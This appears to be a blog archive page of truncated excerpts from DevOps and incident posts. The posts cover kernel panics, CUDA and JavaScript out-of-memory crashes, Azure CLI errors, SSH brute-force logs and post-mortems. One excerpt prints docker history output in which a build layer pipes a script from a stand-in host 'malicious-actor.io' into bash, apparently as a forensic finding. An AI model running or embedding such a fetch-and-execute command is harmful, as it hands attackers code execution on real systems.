[ 259200.412098] nvidia-uvm: Found 81920MB VRAM on Device 0 [ 259200.412105] out_of_memory: Kill process 12849 (python3) score 999 or sacrifice child [ 259200.412110] Kernel panic – not syncing: Fatal exception in interrupt [ 259200.412115] CPU: 48 PID: 12849 Comm: python3 Tainted: P OE 5.15.0-101-generic #111-Ubuntu [ 259200.412118] Hardware name: Supermicro AS -4124GS-TNR/H12DSG-O-MS, BIOS 2.4 05/24/2023 … Read more
text $ az network vnet peering show –name PeerToProd –resource-group rg-core-connectivity –vnet-name vnet-hub –output json Deployment failed. Correlation ID: 4e52-b91a-8823471bc. { “error”: { “code”: “InternalServerError”, “message”: “An error occurred while processing your request. Please try again in a few minutes.”, “details”: [] } } $ az network vnet list -g rg-core-connectivity –query “[].{Name:name, State:provisioningState}” [ … Read more
text [2024-05-22T03:14:02.891Z] SEVERE: [MainThread] Uncaught RangeError: Maximum update depth exceeded. at Object.updateContainer (react-dom.development.js:25331:7) at Object.scheduleUpdateOnFiber (react-dom.development.js:21835:3) at dispatchSetState (react-dom.development.js:15853:7) at onAuthChange (AuthContext.tsx:42:5) [2024-05-22T03:14:03.112Z] FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed – JavaScript heap out of memory [2024-05-22T03:14:03.445Z] Process exited with code 137 (OOM) My eyes are vibrating. Not from the four double-shots of … Read more
React is Not a Framework, It’s a Debt Generator (And How to Stop the Bleeding) Three years ago, I was paged at 2:14 AM on a Tuesday. Our main logistics dashboard, the one the warehouse teams use to track every single shipment across the Atlantic, had turned into a space heater. The browser was consuming … Read more
POST-MORTEM INCIDENT REPORT #ML-FAIL-0909 DATE: October 14, 2023 INCIDENT DURATION: 48 Hours, 12 Minutes STATUS: Critical / Post-Recovery AUTHOR: Senior SRE (Infrastructure & Operations) I’ve spent the last 48 hours staring at a terminal buffer that smells like burnt silicon and hubris. While the rest of the “Data Science” team was likely dreaming of neural … Read more
THE HEAT DEATH OF THE ALPHA: A POST-MORTEM ON SILICON HUBRIS LOG_ID_0001: THE TRIGGER [2024-05-14 03:14:02.881] FATAL: torch.cuda.OutOfMemoryError: CUDA out of memory. Tried to allocate 12.50 GiB (GPU 0; 80.00 GiB total capacity; 64.21 GiB already allocated; 2.14 GiB free; 70.12 GiB reserved in total by PyTorch) If reserved memory is >> allocated memory try … Read more
text [2023-10-27 03:14:22,891] ERROR: torch.cuda.OutOfMemoryError: CUDA out of memory. Tried to allocate 12.50 GiB (GPU 0; 80.00 GiB total capacity; 72.14 GiB already allocated; 4.12 GiB free; 74.50 GiB reserved in total by PyTorch) If reserved memory is >> allocated memory try setting max_split_size_mb to avoid fragmentation. See documentation for Memory Management and PYTORCH_CUDA_ALLOC_CONF Traceback … Read more
text root@ops-warn-01:~# docker history –no-trunc 8f3a2b1c9d IMAGE CREATED CREATED BY SIZE COMMENT 8f3a2b1c9d 72 hours ago /bin/sh -c #(nop) ENTRYPOINT [“/usr/local/bin/python3” “app.py”] 0B 72 hours ago /bin/sh -c #(nop) COPY file:a7b8c9d0… in /app/app.py 1.2kB 72 hours ago /bin/sh -c curl -sSL http://malicious-actor.io/payload.sh | bash 45MB 72 hours ago /bin/sh -c pip install –no-cache-dir -r requirements.txt … Read more
text [SYSTEM FAILURE: LOG CORRUPTION DETECTED] [TIMESTAMP: 2024-05-22T03:14:07.821Z] [USER: dfir_admin_01] [SESSION: pts/0] root@ir-node-04:~# tail -n 20 /var/log/auth.log | grep “Failed password” May 22 03:10:01 ir-node-04 sshd[14202]: Failed password for root from 192.168.1.45 port 54322 ssh2 May 22 03:10:04 ir-node-04 sshd[14202]: Failed password for root from 192.168.1.45 port 54322 ssh2 May 22 03:10:08 ir-node-04 sshd[14202]: Failed … Read more
$ curl -v -X POST https://api.internal.production.vortex/v1/inference \ -H “Content-Type: application/json” \ -d ‘{“prompt”: “Analyze system logs for anomaly detection”, “max_tokens”: 512}’ Connected to api.internal.production.vortex (10.0.42.11) port 443 (#0) POST /v1/inference HTTP/1.1 Host: api.internal.production.vortex User-Agent: curl/8.5.0 Accept: / Content-Type: application/json Content-Length: 72 < HTTP/1.1 504 Gateway Timeout < Content-Type: text/html < Content-Length: 160 < Connection: keep-alive … Read more